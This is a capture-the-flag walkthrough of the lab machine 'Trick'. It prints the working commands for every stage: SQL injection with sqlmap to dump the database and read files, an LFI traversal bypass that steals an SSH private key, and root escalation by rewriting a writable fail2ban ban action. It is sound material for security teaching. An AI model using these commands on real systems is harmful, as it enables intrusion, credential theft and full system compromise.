Edit

Trick

Summary

Nmap finds SSH, SMTP, DNS, and HTTP (Nginx). We use dig to perform a reverse DNS lookup on the ip address of the box, which tells us that the box's domain name is trick.htb. Then, we use dig again to get the zone transfers for trick.htb, which shows us the preprod-payroll virtual host. This vhost has a login form, which we find is vulnerable to a basic SQL injection. Then, we use sqlmap to exploit this vulnerability and dump the database. The credentials we find in the database are not useful, but we can use sqlmap to read files on the box.

We read the nginx configuration file and discover the preprod-marketing vhost. We fuzz this new vhost a little, but we do not find anything. So, using the SQLi from preprod-payroll, we get the source code for preprod-marketing and discover a LFI exploit. Since preprod-marketing is running as the michael user, we are able to get their SSH private key. This gives us the user.txt flag.

Now that we are on the machine, we run LinPEAS and discover that we can run /etc/init.d/fail2ban restart as root and that we can write to the directory /etc/fail2ban/action.d. This article explains the exploit. Basically, we can overwrite the default ban action since we can write to the fail2ban action.d folder. We restart fail2ban so our new configuration change becomes active. Then, we spam SSH with invalid logins to trigger a band, thus running our custom command, which will write the root.txt flag to a file we can read.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.166.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have SSH, SMTP, DNS, and HTTP (Nginx).

Website (Port 80)

We try bruteforcing directories by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.166/FUZZ, which finds nothing.

DNS

We can perform a reverse DNS lookup of the IP address of the box by running dig -x 10.10.11.166 @10.10.11.166:

This tells us that the box's domain name is trick.htb. Let's add that domain to /etc/hosts: echo "10.10.11.166 trick.htb" | sudo tee -a /etc/hosts.

The second item on the HackTricks page for DNS is about "Zone Transfers." You can learn more from this article. We run dig axfr trick.htb @trick.htb to get the zone transfers for trick.htb:

This gives us a new subdomain: preprod-payroll.trick.htb. Let's add it to /etc/hosts: echo "10.10.11.166 preprod-payroll.trick.htb" | sudo tee -a /etc/hosts.

Virtual Host Scanning

Let's scan for other virtual hosts to be safe. We can do this by running ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: FUZZ.trick.htb" -fs 5480. This finds nothing, but since we know one of the subdomains starts with preprod-, we can try bruteforcing only the part after preprod- by running sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: preprod-FUZZ.trick.htb" -fs 5480:

Let's add the new preprod-marketing subdomain to /etc/hosts: echo "10.10.11.166 preprod-marketing.trick.htb" | sudo tee -a /etc/hosts.

preprod-payroll Virtual Host

We have a login form:

After trying the standard basic SQL injections, we find that using ' or 1=1 -- as the username and anything as the password works!

The login form makes a post request to http://preprod-payroll.trick.htb/ajax.php?action=login. If we simply make a GET request by visiting that page, we get:

So, we now know the path of a file, which is helpful if we get a LFI exploit or something similar.

Since we know we have a SQL injection, we can use sqlmap to automate dumping the database. You can learn about sqlmap's command in its usage documentation.

This identifies a few exploits, which we can now use to explore the database. If we append --dbs to the above command we will get the list of databases:

Then, we can dump the tables from payroll_db by running sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db --tables:

Finally, we can dump the users table by running sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db -T users --dump:

This gives us a set of credentials: Enemigosss:SuperGucciRainbowCake. Trying to use them to SSH onto the machine doesn't work.

We can try reading files with sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /etc/passwd, which works:

So, the michael user is probably our way onto the box. Attempting to read /home/michael/.ssh/id_rsa fails though, so this site is probably not running as the michael user.

Since we can read files, we also could have learned about the other subdomain by reading /etc/nginx/sites-available/default:

Let's try to read the source code of the preprod-payroll virtual host. From the error message we got before, we know /var/www/payroll/admin_class.php is a file, so we'll get that to start. We get a somewhat large file, but it has the line include 'db_connect.php'; at the top. So, we get /var/www/payroll/db_connect.php:

We get the credentials for the mysql server: remo:TrulyImpossiblePasswordLmao123.

Neither SuperGucciRainbowCake nor TrulyImpossiblePasswordLmao123 works as the ssh password for the michael user does not work.

preprod-marketing Virtual Host

We scan for other pages using ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://preprod-marketing.trick.htb/index.php\?page\=FUZZ.html -fs 0:

This doesn't find anything that isn't already linked to by the main page.

Foothold

Let's try to get the source code of the site by looking in the /var/www/market directory. Running sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /var/www/market/index.php gets use the index.php file for the preprod-marketing vhost:

We have a call to include that we can control via the page GET parameter. All ../ are removed, but this is only done once, so we can bypass it by using ....// instead of ../ since removing ../ from ....// results in ../. Sure enough, visiting http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd gives us the contents of /etc/passwd. We can check which user we are running as by getting http://preprod-marketing.trick.htb/index.php?page=....//....//....//proc/self/status:

ID 1001 is michael (from /etc/passwd), so we should be able to get his SSH private key by running curl http://preprod-marketing.trick.htb/index.php\?page\=....//....//....//home/michael/.ssh/id_rsa > id_rsa.

Now, we can SSH to the box as michael by running ssh [email protected] -i id_rsa and then get the user.txt flag with cat ~/user.txt.

Privilege Escalation

We upload LinPEAS by running upload linpeas.sh in the local pwncat shell. Run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report.txt with less -R linpeas_report.txt.

We see this in the output:

So, we can run the command /etc/init.d/fail2ban restart as root.

Searching for "fail2ban" in the LinPEAS output also shows this:

So, we can write to /etc/fail2ban/action.d. Searching for "fail2ban privilege escalation" finds Abusing Fail2ban misconfiguration to escalate privileges on Linux, which explains the exploit we are about to perform. However, the exploit is not that complicated and can be figured out without the guide.

We can view the enabled fail2ban jails with cat /etc/fail2ban/jail.conf | grep "enabled = true" -B 1, which will show us nothing. But jails can also be configured in /etc/fail2ban/jail.d/. Checking that directory we find a file called defaults-debian.conf that enabled the sshd jail.

In the /etc/fail2ban/jail.conf file we see the default ban action:

iptables-multiport is a file in /etc/fail2ban/action.d/, which means we can edit it:

We do not have permissions over this file, but since we have write permissions on the directory we can copy the file to /tmp with cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp, edit it, and then copy it back with rm /etc/fail2ban/action.d/iptables-multiport.conf && cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/.

For the iptables-multiport.conf file, we change the line that reads actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> to actionban = cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt && sleep 30 && rm /tmp/root.txt.

Then, restart fail2ban with sudo /etc/init.d/fail2ban restart so our configuration change takes effect. Then, ssh and use an incorrect password multiple times. This should create a file /tmp/root.txt with the root flag! Note: We easily could replace the ban command with a reverse shell to get a root shell. The copy, fail2ban restart, failed ssh attempts, and getting the root flag all need to be done very quickly because the fail2ban configuation is reset quite often so you need to hit the number of failed SSH attempts before that happens. Tip: Run watch ls -la /tmp to see when the /tmp/root.txt file is created. Another Tip: Instead of manually getting fail2ban to ban you, use hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://trick.htb to spam a lot of login attempts.

PreviousRetiredNextHathor

Last updated

Was this helpful?